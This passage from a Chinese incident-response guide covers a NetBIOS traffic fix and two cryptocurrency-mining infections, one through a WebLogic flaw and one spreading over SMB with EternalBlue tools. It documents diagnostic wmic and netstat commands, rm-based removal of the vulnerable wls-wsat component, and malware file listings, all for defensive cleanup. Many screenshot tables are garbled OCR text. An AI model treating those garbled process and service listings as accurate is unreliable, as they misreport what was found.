| ● 使用下面的 DNS 服务器地址 (2) | : | ○ 默认 (E): | |
| 首选 DNS 服务器 (P): | 192 . 168 . 64 . 1 | 从 DHCP 服务器使用 NetBIOS 设置 扩或 DHCP 服务器不提供 NetBIOS | 置。如果使用静态 IP 地 S 设置,则启用 TCP/IP |
| 备用 DNS 服务器(A): | 192 . 168 . 10 . 1 | 上的 NetBIOS. | |
| | | C 启用 TCP/IP 上的 NetBIOS (M) | |
| | 高级 (V) | ● 禁用 TCP/IP 上的 NetBIOS(S) | |
| | | | |
| | 确定 | | |

设置完,不用重启即可生效,137端口关闭,观察了一会,对外发起的请求已消失,CPU和网络带宽恢复正常。

0x04 防护措施

局域网安全防护依然是一项很艰巨的任务,网络的安全策略,个人/服务器的防毒机制,可以在一定程度上防止病毒 入侵。

另外不管是个人PC还是服务器,总还是需要做一些基本的安全防护:1、关闭135/137/138/139/445等端口2、更新系统补丁。

第5篇:挖矿病毒(一)

0x00 前言

随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题。

0x01 应急场景

某天上午重启服务器的时候,发现程序启动很慢,打开任务管理器,发现cpu被占用接近100%,服务器资源占用严重。



0x02 事件分析

登录网站服务器进行排查,发现多个异常进程:

| Ę. | indows 任务管理器 | | | | | | | | | | | | |
|------|--------------------|-------|---------------|-----|------------|-----------------------------------|--|--|--|--|--|--|--|
| 文件 | ⊧(ア) 选项(0) 查看(∀) | 帮助 00 | | | | | | | | | | | |
| क्ति | 田銀度 讲程 加冬 | 一社能 | 1曜岡 1田白 | 1 | | | | | | | | | |
| 102 | 111±17 1212 (1007) | LITHO | Terra Tuar- | | | | | | | | | | |
| 1 | 映像名称 | PID | 用户名 | CPU | 内 | 描述 | | | | | | | |
| | java. exe | 2272 | Administrator | 00 | 958, 500 K | Java(TM) Platform SE binary | | | | | | | |
| | explorer.exe | 2844 | Administrator | 01 | 38,348 K | Windows 资源管理器 | | | | | | | |
| | powershell.exe | 3316 | Administrator | 00 | 31,076 K | Windows PowerShell | | | | | | | |
| | powershell.exe | 156 | Administrator | 00 | 31,044 K | Windows PowerShell | | | | | | | |
| | powershell.exe | 3944 | Administrator | 00 | 31,024 K | Windows PowerShell | | | | | | | |
| | powershell.exe | 2224 | Administrator | 00 | 30,108 K | Windows PowerShell | | | | | | | |
| | powershell.exe | 3632 | Administrator | 00 | 26,364 K | Windows PowerShell | | | | | | | |
| | powershell.exe | 3700 | Administrator | 00 | 26,352 K | Windows PowerShell | | | | | | | |
| | svchost. exe | 852 | SYSTEM | 00 | 21,532 K | Windows 服务主进程 | | | | | | | |
| | vmtoolsd.exe | 1484 | SYSTEM | 00 | 14,696 K | WMware Tools Core Service | | | | | | | |
| | svchost. exe | 984 | NETWORK SE | 00 | 13,944 K | Windows 服务主进程 | | | | | | | |
| | svchost. exe | 788 | LOCAL SERVICE | 00 | 13,672 K | Windows 服务主进程 | | | | | | | |
| | powershell.exe | 6100 | Administrator | 00 | 9,464 K | Windows PowerShell | | | | | | | |
| | svchost. exe | 940 | SYSTEM | 00 | 8,944 K | Windows 服务主进程 | | | | | | | |
| | LogonUI. exe | 780 | SYSTEM | 00 | 7,120 K | Windows Logon User Interface Host | | | | | | | |
| | WmiPrvSE.exe | 5056 | NETWORK SE | 00 | 7,052 K | WMI Provider Host | | | | | | | |
| | spoolsv.exe | 1068 | SYSTEM | 00 | 6,716 K | 后台处理程序子系统应用程序 | | | | | | | |
| | svchost. exe | 900 | LOCAL SERVICE | 00 | 6,516 K | Windows 服务主进程 | | | | | | | |
| | Carbon eze *32 | 3880 | Administrator | 89 | 5,948 K | XMRig CPU miner | | | | | | | |
| | lsass.exe | 520 | SYSTEM | 00 | 5,504 K | Local Security Authority Process | | | | | | | |
| | taskhost. exe | 2640 | Administrator | 00 | 5,184 K | Windows 任务的主机进程 | | | | | | | |
| | Carbon. exe *32 | 4504 | Administrator | 05 | 5,078 K | XMRig CPU miner | | | | | | | |
| | Carbon. exe *32 | 356 | Administrator | 06 | 5,068 K | XMRig CPU miner | | | | | | | |
| | powershell.exe | 4468 | Administrator | 00 | 4,958 K | Windows PowerShell | | | | | | | |
| | csrss.exe | 412 | SYSTEM | 00 | 4,356 K | Client Server Runtime Process | | | | | | | |

分析进程参数:

wmic process get caption,commandline /value >> tmp.txt

Upp.tst - 12.57.4 XY(FO) 第416(2) 指式(2) 重适(0) 基达(0) 重适(0) 基达(0) Caption=cmd.exe CommandLine=cmd.exe CommandLine=cmd.exe CommandLine=cmd.exe CommandLine=cmd.exe CommandLine=cmd.exe CommandLine=cmd.exe CommandLine=ly??/C:\Windows\system32\conhost.exe Caption=conhost.exe CommandLine=powershell.exe CommandLine=cmd.exe CommandLine=v?/C:\Windows\system32\conhost.exe "567043869-379799388598216845-1339877759-10904242441714364103452835488-1454190890 Caption=cmd.exe CommandLine=v?/C:\Windows\system32\conhost.exe "567043869-379799388598216845-1339877759-10904242441714364103452835488-1454190890 Caption=powershell.exe CommandLine=verylC:\Windows\system32\conhost.exe CommandLine=cmd.exe c CommandLine=cmd.exe c CommandLine=cmd.exe c

TIPS:

在windows下查看某个运行程序(或进程)的命令行参数 使用下面的命令: wmic process get caption,commandline /value 如果想查询某一个进程的命令行参数,使用下列方式: wmic process where caption="svchost.exe" get caption,commandline /value 这样就可以得到进程的可执行文件位置等信息。

访问该链接:

Temp目录下发现Carbon、run.bat挖矿程序:

| 📙 🗸 本地磁盘 | (C:) + 用户 + Administrator + AppData + Local | ▼ Temp ▼ | • |
|---------------|---|------------------|---|
| 包含到库中 🔻 | 共享 🔻 新建文件夹 | | |
| | 名称 🔺 | 修改日期 | Ż |
| | 📕 1 | 2017/8/25 9:39 | 3 |
| | Jan 2 | 2017/12/22 13:31 | 3 |
| <i>前</i> 间的位置 | 🐼 Carbon. exe | 2017/10/23 15:48 | Ŀ |
| | 🚳 run. bat | 2017/11/25 1:04 | ከ |
| | 🧃 SchTask. ps1 | 2017/11/27 0:15 | F |
| | 📅 yamm1. exe | 2017/12/22 0:57 | Ŀ |

具体技术分析细节详见:

360CERT:利用WebLogic漏洞挖矿事件分析

https://www.anquanke.com/post/id/92223

清除挖矿病毒:关闭异常进程、删除c盘temp目录下挖矿程序。

临时防护方案

1. 根据实际环境路径,删除WebLogic程序下列war包及目录

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f

/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.inter nal/wls-wsat.war

rm -rf

/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_ internal/wls-wsat

2. 重启WebLogic或系统后,确认以下链接访问是否为404

http://x.x.x:7001/wls-wsat

0x04 防范措施

新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率。通过利用永恒之 蓝(EternalBlue)、web攻击多种漏洞,如Tomcat弱口令攻击、Weblogic WLS组件漏洞、Jboss反序列化漏洞, Struts2远程命令执行等,导致大量服务器被感染挖矿程序的现象 。总结了几种预防措施:

- 1、安装安全软件并升级病毒库,定期全盘扫描,保持实时防护
- 2、及时更新 windows安全补丁, 开启防火墙临时关闭端口
- 3、及时更新web漏洞补丁,升级web组件

第6篇:挖矿病毒(二)

0x00 前言

作为一个运维工程师,而非一个专业的病毒分析工程师,遇到了比较复杂的病毒怎么办?别怕,虽然对二进制不熟,但是依靠系统运维的经验,我们可以用自己的方式来解决它。

0x01 感染现象

1、向大量远程IP的445端口发送请求

| ····································· | C:\Windo | ws\sys | tem32\cmd.exe | | | | _ 0 <mark>_X</mark> |
|---------------------------------------|----------|--------------|-------------------|-------------|----------|----------|---------------------|
| C:\Users | Admini | strat | or>netstat | -ano : find | 1 "SYN" | | ~ |
| TCP | 169.2 | E2 - F | .173:61297 | 169.25 | .72=445 | SYN_SENT | 32740 |
| TCP | 169.2 | 10 F | .173:61298 | 169.25 | .73:445 | SYN_SENT | 32740 |
| TCP | 169.2 | Ш. i | .173:61299 | 169.25 | 1.74:445 | SYN_SENT | 32740 |
| TCP | 169.2 | 122 | .173:61300 | 169.25 | 2.75:445 | SYN_SENT | 32740 |
| TCP | 169.2 | E2 | .173:61301 | 169.25 | 2.76:445 | SYN_SENT | 32740 |
| TCP | 169.2 | 122 | .173:61302 | 169.25 | 2.77:445 | SYN_SENT | 32740 |
| TCP | 169.3 | E2 | .173:61303 | 169.25 | 2.78:445 | SYN_SENT | 32740 |
| TCP | 169.1 | 14 ÷ | .173:61304 | 169.25 | 2.79:445 | SYN_SENT | 32740 |
| TCP | 169.2 | E . 5 | .173:61305 | 169.25 | 2.80:445 | SYN_SENT | 32740 |
| TCP | 169.3 | H. 5 | .173:61306 | 169.25 | 2.81=445 | SYN_SENT | 32740 |
| TCP | 169.3 | E S | .173:61307 | 169.25 1.: | 2.82:445 | SYN_SENT | 32740 |
| TCP | 169.2 | E. 5 | .173:61308 | 169.2! . | 2.83:445 | SYN_SENT | 32740 |
| TCP | 169.2 | E 5 | .173:61309 | 169.25 1. | 2.84:445 | SYN_SENT | 32740 |
| TCP | 169.2 | ELC I | .173:61310 | 169.25 1. | 2.85:445 | SYN_SENT | 32740 |
| TCP | 169.2 | 122 | .173:61311 | 169.25 L. | 2.86:445 | SYN_SENT | 32740 |
| TCP | 169.2 | 1.2 | .173:61312 | 169.2! 1. | 2.87:445 | SYN_SENT | 32740 |
| TCP | 169.2 | 1.2 | .173:61313 | 169.2! 1. | 2.88:445 | SYN_SENT | 32740 |
| TCP | 169.2 | 1.2 : | .173:61314 | 169.2! 1.: | 2.89:445 | SYN_SENT | 32740 |
| TCP | 169.2 | 1.2 2 | 173=61315 | 169.2 1. | 2.90:445 | SYN_SENT | 32740 |
| TCP | 169.2 | .2 2 | .173=61316 | 169.2! 1.1 | 2.91=445 | SYN_SENT | 32740 |
| TCP | 169.25 | .2: | .173:61317 | 169.25 1.2 | 2.92 445 | SYN_SENT | 32740 |

2、使用各种杀毒软件查杀无果,虽然能识别出在C:\Windows\NerworkDistribution中发现异常文件,但即使删除 NerworkDistribution后,每次重启又会再次生成。

| ••••••••••••••••••••••••••••••••••••• | ▶ 系统 (C:) ▶ Windows ▶ NetworkDi: | stribution 👻 😽 | 援索 NetworkDi | stribution | |
|---------------------------------------|----------------------------------|-----------------|--------------|------------|---|
| 组织 🕶 🗌 包含到库中 • | ・ 共享 ・ 新建文件夹 | | | H • 🖬 | 1 |
| ☆ 収蔵完 | 名称 | 修改日期 | 类型 | 大小 | |
| 🚺 T 🕱 | pytrch.pyd | 2017/4/14 20:01 | PVD 文件 | 150 KB | |
| E 40 | 🗟 adfw.dll | 2017/4/14 20:01 | 应用程序扩展 | 11 KB | |
| 19月 最近访问的位置 | 🚳 adfw-2.dll | 2017/4/14 20:01 | 应用程序扩展 | 15 KB | |
| TH HOLE IN SALARY | 🗟 cnli-0.dll | 2017/4/14 20:01 | 应用程序扩展 | 104 KB | |
| | 🗟 cnli-1.dll | 2017/4/14 20:01 | 应用程序扩展 | 99 KB | |
| | 🗟 coli-0.dll | 2017/4/14 20:01 | 应用程序扩展 | 15 KB | |
| 🖬 १८३२ | 🗟 crli-0.dll | 2017/4/14 20:01 | 应用程序扩展 | 17 KB | |
| 图 图片 | 🚳 dmgd-1.dll | 2017/4/14 20:01 | 应用程序扩展 | 35 KB | |
| ▶ 文档 | 🗟 dmgd-4.dll | 2017/4/14 20:01 | 应用程序扩展 | 469 KB | |
| 2) 會乐 | sco-0.dll | 2017/4/14 20:01 | 应用程序扩展 | 14 KB | |
| | 🚳 etch-0.dll | 2017/4/14 20:01 | 应用程序扩展 | 155 KB | |
| 🌉 计算机 | 🗟 etchCore-0.x64.dll | 2017/4/14 20:01 | 应用程序扩展 | 175 KB | |
| | etchCore-0.x86.dll | 2017/4/14 20:01 | 应用程序扩展 | 140 KB | |
| 🖬 网络 | 🚳 eteb-2.dll | 2017/4/14 20:01 | 应用程序扩展 | 126 KB | |
| | SetebCore-2.x64.dll | 2017/4/14 20:01 | 应用程序扩展 | 139 KB | |
| | 🗟 etebCore-2.x86.dll | 2017/4/14 20:01 | 应用程序扩展 | 110 KB | |
| | Eternalblue-2.2.0.fb | 2017/4/14 20:01 | FB 文件 | 1 K8 | |
| | Eternalchampion-2.0.0.fb | 2017/4/14 20:01 | FB 文件 | 2 KB | |
| | 🗟 exma.dll | 2017/4/14 20:01 | 应用程序扩展 | 6 KB | |
| | 🗟 exma-1.dll | 2017/4/14 20:01 | 应用程序扩展 | 10 KB | |
| | liconv.dll | 2017/4/14 20:01 | 应用程序扩展 | 22 KB | |
| | S libcurl.dll | 2017/4/14 20:01 | 应用程序扩展 | 208 KB | |
| | 🗟 libeay32.dll | 2017/4/14 20:01 | 应用程序扩展 | 882 KB | |
| | 🗟 libiconv-2.dll | 2017/4/14 20:01 | 应用程序扩展 | 948 KB | |
| | libxml2.dll | 2017/4/14 20:01 | 应用程序扩展 | 807 KB | |
| | le out.dll | 2017/5/21 16:11 | 应用程序扩展 | 129 KB | |

连杀软清除不了的病毒,只能手工来吧,个人比较偏好火绒,界面比较简洁,功能也挺好用的,自带的火绒剑是安全分 析利器。于是安装了火绒,有了如下分析排查过程。

0x02 事件分析

A、网络链接

通过现象,找到对外发送请求的进程ID:4960

| > 大城的-五联网会全分析# | 54 | | | | | | | | | 8 |
|----------------|---------|-------|-------------------|----------------|--------|----------------------|---------------|------------------|-------|----|
| 10 K.S. | ar 1842 | 9 BBB | 🗶 rhtti | 急 時子目編 | S 10.0 | (金 県山 | 5 FRM | De 文件 | 😻 注册表 | |
| 漏性 结束进程 | 童君交纬 | | | | | | 2 | | ^ v | 42 |
| 进程名 | 2010 | 安全状态 | 機論 | | 1012 | 本地地址 | 运程地址 | 秋古 | | |
| ctfmon.exe | | | | | | | | | | |
| dimon.exe | 4960 | 斯统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55954 | 10.103.30.148 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55955 | 10.103.30.149 | 445 TS_sync_sent | | |
| 📝 ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55956 | 10.103.30.150 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55957 | 10.103.30.151 | 445 TS_sync_sent | | |
| offmon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55958 | 10.103.30.152 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55959 | 10.103.30.153 | 445 TS_sync_sent | | |
| 📝 ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\otimon.exe | TCP | 192.168.130.39:55960 | 10.103.30.154 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55961 | 10.103.30.155 | 445 TS_sync_sent | | |
| 📝 offmon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55962 | 10.103.30.156 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 服魄文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55963 | 10.103.30.157 | 445 TS_sync_sent | | |
| 🖉 offmon.exe | 4960 | 系统文件 | C/(Windows/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55964 | 10.103.30.158 | 445 TS_sync_sent | | |
| d ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55965 | 10.103.30.159 | 445 TS_sync_sent | | |
| 📝 ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55966 | 10.103.30.160 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55967 | 10.103.30.161 | 445 TS_sync_sent | | |
| 📝 ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55968 | 10.103.30.162 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 斯统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55969 | 10.103.30.163 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55970 | 10.103.30.164 | 445 TS_sync_sent | | 1 |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55971 | 10.103.30.165 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55972 | 10.103.30.166 | 445 TS_sync_sent | | |
| 🛃 ctimon.exe | 4960 | 系统交体 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55973 | 10.103.30.167 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55974 | 10.103.30.168 | 445 TS_sync_sent | | |
| 🛃 ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55975 | 10.103.30.169 | 445 TS_sync_sent | | |
| Z ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55976 | 10.103.30.170 | 445 TS_sync_sent | | |
| 📝 otimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55977 | 10.103.30.171 | 445 T5_sync_sent | | |
| Z ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55978 | 10.103.30.172 | 445 TS_sync_sent | | |
| Z atmon.exe | 4960 | 系统文件 | C/(Windows\Syste | m32\ctimon.exe | TCP | 192.168.130.39.55979 | 10.103.30.173 | 445 TS_sync_sent | | |
| Z ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39-55980 | 10.103.30.174 | 445 TS_sync_sent | | |
| Z ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55981 | 10.103.30.175 | 445 TS_sync_sent | | |
| Z ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55982 | 10.103.30.176 | 445 TS_sync_sent | | |
| 📝 ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39.55986 | 10.103.30.177 | 445 TS_sync_sent | | |
| d ctimon.exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39:55994 | 10.103.30.178 | 445 TS_sync_sent | | |
| Common exe | 4960 | 系统文件 | C/(Windows)/Syste | m32\ctimon.exe | TCP | 192.168.130.39.55995 | 10.103.30.179 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 斯统文件 | C/\Windows\Syste | m32\ctimon.exe | TCP | 192.168.130.39:55997 | 10.103.30.180 | 445 TS_sync_sent | | |
| Z ctimon.exe | 4960 | 系统文件 | C/\Windows\Syste | m32\ctimon.exe | TCP | 192.168.130.39:56000 | 10.103.30.181 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 斯统文件 | C/\Windows\Syste | m32\ctimon.exe | TCP | 192.168.130.39:56039 | 10.103.30.182 | 445 TS_sync_sent | | |
| dimon.exe | 4960 | 系统文件 | C/(Windows/Syste | m32\ctimon.exe | TOP | 192.168.130.39.56040 | 10.103.30.183 | 445 TS_sync_sent | | |

B、进程分析

进一步通过进程ID找到相关联的进程, 父进程为1464

| 3 ×888-200 | 用資金分析软件 | | | | | | | | | 14 | - |
|-----------------|----------------------|------------|---------------|---------------------------|--------------------------|------------------------|----------------------|------------------------------|-----------------|-------|--------|
| C | - * # | 12 | 🙁 BBB | 🗶 កាត 🔊 គ | 7日編 😪 服務 | (1) 原語 | 5. FRM | □2 文件 | 😻 注册表 | | |
| 「「「「」 | 文件屬性 1 | 12.01 | 结束进程 | | | | | | | A | 42 |
| 进程名 | | 25 | 00 (E\$1600 | 公司名 | 编述 | | 舞道 | | | | |
| 🛛 📧 wininit.exe | e | 748 | 0 | Microsoft Corporation | Windows 启动应用程序 | | C//Windows/system | 32\wininit.eve | | | |
| 🗟 📧 service | 15.exe | 844 | 0 | Microsoft Corporation | 服务和控制器应用程序 | | C/(Windows\system | 132\services.exe | | | |
| 🗃 💽 sych | lostexe | 968 | 0 | Microsoft Corporation | Windows 服务主进程 | | C/(Windows)system | n32\sychost.exe | | | |
| 83 w | miprose.exe | 573 | 5 0 | Microsoft Corporation | WMI Provider Host | | C//Windows/system | 132\wbem/wmiprvse.exe | , | | |
| ×3 . | insecapp.exe | 218 | 0 0 | Microsoft Corporation | Sink to receive asynchro | nous callbacks for WMI | - C//Windows/system | 132\wbem/unsecapp.ex | | | |
| 83 . | miprose.exe | 662 | 8 0 | Microsoft Corporation | WMI Provider Host | | C/(Windows)system | 32\wbem/wmiprvse.exe | , | | |
| 🖂 🦪 Hips | sDaemon.exe | 102 | 8 0 | 北京大城局總科被有限公司 | 大統定全統律 | | C/Program Files/H | uorong\Sysdiag\bin\Hip | sDaemon.exe | | |
| 1 | nysdiag.exe | 112 | 8 0 | Beijing Huorong Netw | Huorong Sysdiag Helpe | * | C//Program Files/H | uorong\Sysdiag\bin\usy | rodiag.exe | | |
| NVC | Display.Container.ex | oe 105 | 2 1052 | NVIDIA Corporation | NVIDIA Container | | C//Program Files/N | MDIA Corporation/Disp | lay.NvContainer | NVDia | ipia [|
| - N | WDisplay.Container | r.exe 175 | 6 1052 | NVIDIA Corporation | NVIDIA Container | | C/Program Files/N | VIDIA Corporation/Disp | Rey NyContainer | NVDH | alqt |
| R sych | hostexe | 126 | 0 0 | Microsoft Corporation | Windows 服务主进程 | | C//Windows/system | n32\sychost.exe | | | |
| S R sych | host-exe | 136 | 8 0 | Microsoft Corporation | Windows 服务生进程 | | C//Windows/System | n32\svchost.exe | | | |
| RE A | UDIODG.EXE | 208 | 56 0 | Microsoft Corporation | Windows 實證设驗還形成 | a | C//Windows/system | 32 AUDIODS.EXE | | | |
| 🖃 📧 sych | host.exe | 143 | 5 0 | Microsoft Corporation | Windows 服务主进程 | | C//Windows/System | n32/svchost.exe | | | - U |
| 83 V | VUDRIost.exe | 192 | 4 0 | Microsoft Corporation | Windows 能助程序基础 - | 用户模式运动程序框架主机 | L C/Windows/system | 32\WUDFHost.exe | | | |
| 83.0 | hum.exe | 320 | 0 0 | Microsoft Corporation | 成正会の世況器 | | C//Windows/system | 12\Dwm.exe | | | |
| 83 v | VISPTIS.EXE | 195 | 88 0 | Microsoft Corporation | Microsoft 新闻總統的時間 | 11.1111 | C//Windows/SYSTE | M12\WISPTIS.EXE | | | |
| a 🖬 syck | lostexe | 145 | 4 0 | Microsoft Corporation | Windows 服务主进程 | | C//Windows/system | 12\sychost.eve | | | |
| 10 d | Ilhostex.exe | 454 | 0 4540 | Microsoft Corporation | COM Surrogate | | C//Windows/system | 32\dlbostex.eve | | | |
| 20 | timonexe | 495 | 0 0 | Microsoft Corporation | CTF 108192/9 | | C/Windows/system | 12/ctimon.eve | | | |
| 100 | askeno.exe | 129 | 84 0 | Microsoft Corporation | 任教计划程序引载 | | C/Windows/system | 12/taskeng.eve | | | |
| and such | hostexe | 163 | 6 0 | Microsoft Corporation | Windows 服务主进程 | | C/Windows/system | 32\sychost.eve | | | |
| \$ 105 | erfor EXE | 174 | 1740 | LANDESK Software, Inc. | LANDesk Endpoint Serv | rity. | CAlectram Filed L | ANDesk's DCSeptibios | DSecSur EXE | | |
| RI net | tost exe | 288 | 0 | Microsoft Corporation | Windows 服务主法规 | | C/Windows/system | 32\sychost.eve | | | |
| 100 | city and | 5.6.0 | 0 | Microsoft Corporation | ガルク理解学業地の目的 | 11 | C/Windows/Sustan | 12annoise eve | | | |
| 10 met | lost exe | 476 | 0 | Microsoft Corporation | Windows B& \$189 | 67P | C/Windows/system | 12 suchoat eve | | | |
| | duc exe | 152 | 4 1524 | Adobe Systems Incorp. | Adobe Arrobat Undate | Sanica | CiProgram Elector | ommon Files/Adobe/AR | M.1.O.armov.ex | | |
| I I and | destacent eve | 176 | 1768 | hant | Resident Asset Applicat | los . | Cillanguan Elaill | MDarktShared Electro | destanet ere | | |
| 100 | ollector ave | 240 | 4 1768 | LANDESK Software Inc. | collector Application | ages. | Cillanoram Elasti | ANDerkil DCSectionIert | of eve | | |
| 1 and | AND BURNE | 49.4 | 0 | Microsoft Corporation | Windows BAS BIRR | | C/Wiedows/Suster | all hashest eve | | | |
| C Provention | NON-EXE | 305 | | Microsoft Corporation | Wedges EXCLUSE | | Citilia douridurates | a 2 hourboat and | | | |
| | sourcese | 210 | e V 8 3168 | microsoft corporation | halfele milling | | Christendowspyter | A file an ext for shale over | | | |
| | attelo ere | 2.00 | 1 2464 | | Satisfa CERR | | Chaindowskypter | 22Gapent Sablelo eve | | | |
| < | | | | | | | | | | | |
| 模块列表 | | | | | | | | | | | ø × |
| 名称 | 安全状态 | 観社 | 大小 | 調査 | | 公司名 | 疾 | 8 | | | |
| ctimon.exe | 系统文件 | 0,00060000 | 0x00030000 | C/\Windows\system32\cth | non.exe | Microsoft Corp | oration CTI | 加敷理序 | | | - |
| ntdl.dll | 系统文件 | 0x77040000 | 0x0013C000 | C/(Windows\SYSTEM32\nt | llb.llb | Microsoft Corp | oration NT | 启 DUL | | | |
| kernel32.dll | 系统文件 | 0x75810000 | 0x00004000 | C/(Windows\system32\key | nel32.dll | Microsoft Corp | oration We | dows NT 基本 API 有户 | IR DUL | | |
| KERNFLRAGE A | 目 系统文件 | 0x752A0000 | 0x0004A000 | C/(Windows)system32(KE | RNELBASE.dll | Microsoft Corp | oration We | dows NT 基本 API 都向 | IN DUL | | |

找到进程ID为1464的服务项,逐一排查,我们发现服务项RemoteUPnPService存在异常。

| 3 大統約-五联月会: | 创新航洋 | | | | | | | | | | | | | | |
|----------------------|-----------|--------------------|-----------|---------|------|------|---------------------|--------------------------|-----------|---------------------------------------|---------------------|--------------|--------------|------|-------|
| 🛄 1693 | | 100 | 18 B | 818 | 2.08 | | \$ 97HM | S 88 | 8 1 | 840 | 5 RM | □2 文件 | | 注册表 | |
| 文件描述 第 | 國文庫 | 童衢注册表 | 停止税 | 8 | | | | | | | P | | | ^ v | 49 |
| 28 | 量示素的 | | | 安全状态 | 透明的 | 調ら | | | 10 | 5 | | | 8085 | 秋香 | 8 |
| Wfanovc | WLAN A | utoConfig | | 系统文件 | 1436 | | C/\Windows\System | 32(wlanovc.dll | WU | ANSVC 服务情件 | 配置、发现、连续、 | 断开与 1000 | mit) | 正在运行 | CA. |
| WidSystemHost | Diagnos | tic System Host | | 系统文件 | 1436 | | C/(Windows),system | 32/wdi.dll | 198 | (系统主机被诊断) | 医希腊尔马米子戴霉 | 要在本地系 | 手助 | 正在运行 | 0.5 |
| UxSms | Desktop | Window Manag | er Ses | 系统文件 | 1436 | | C/(Windows/System | d2uxsms.dll | 播供 | ·桌面會口管理器 | 自动和维护服务 | | 自动 | 正在运行 | C2 |
| TrioNis | Distribut | ed Link Tracking | Client | 系统交体 | 1436 | | C/(Windows/System | 02(triovics.dll | 维芬 | A某个计算机内藏 | 氧个网络中的计算机 | 的 NTFS 文 | 自动 | 正在运行 | CA. |
| SysMain | Superfet | ich | | 系统交体 | 1436 | | C/(Windows),system | 32/sysmain.dll | 185 | 和國有一般时间 | 马的系统性能。 | | 自动 | 正在遗行 | CA. |
| Netman | Network | Connections | | 系统文件 | 1436 | | C/(Windows\System | 32\netman.dll | 間辺 | 1月總和股导進 | 史·文仲央中的象。 | 在其中思考。 | 手助 | 正在遗行 | CA. |
| CscService | Offine F | iles | | 系统文件 | 1436 | | C/(Windows\System | 32\cscsvc.dll | Ref | (文件服务在脱机) | 文件重要中共行增加 | 活动,明众 | 自动 | 正在遗行 | CA. |
| AudioEndpointBuil. | Window | s Audio Endpoint | t Builder | 系统文件 | 1436 | | C/(Windows/System | s32\Audiosrv.dll | 183 | Windows #15 | 最多的言烦论情,如 | 用此服务性。 | 前的 | 正在由行 | CA. |
| www.serv | Window | s Update | | 系统文件 | 1464 | 8 | C/(Windows),system | 32/www.eng.dll | 85 | R社用、下敷和会 | # Windows RDM/D | 缩年的更新 | 前的 | 正在遗行 | CA. |
| Winmpmt | Window | s Management In | nstrum | 系统文件 | 1464 | | C/(Windows),system | 32/wbem//WMIsvc.dll | 橋住 | 4月间的养葱和20 | 教授の以供が同有关 | \$15M | 前的 | 正在遗行 | CA. |
| Themes | Themes | | | 系统文件 | 1464 | | C/(Windows),system | 32/themeservice.dll | 207 | 1.个操体使用主题 | 意理的体验。 | | mitt) | 正在运行 | C.5 |
| ShellHWDetection | Shell Ha | rdware Detection | | 系统文件 | 1464 | | C/(Windows\System | 32\ubeves.dll | 7)0 | は加速な硬体帯体 | 10件通知。 | | mitt) | 正在运行 | 0.5 |
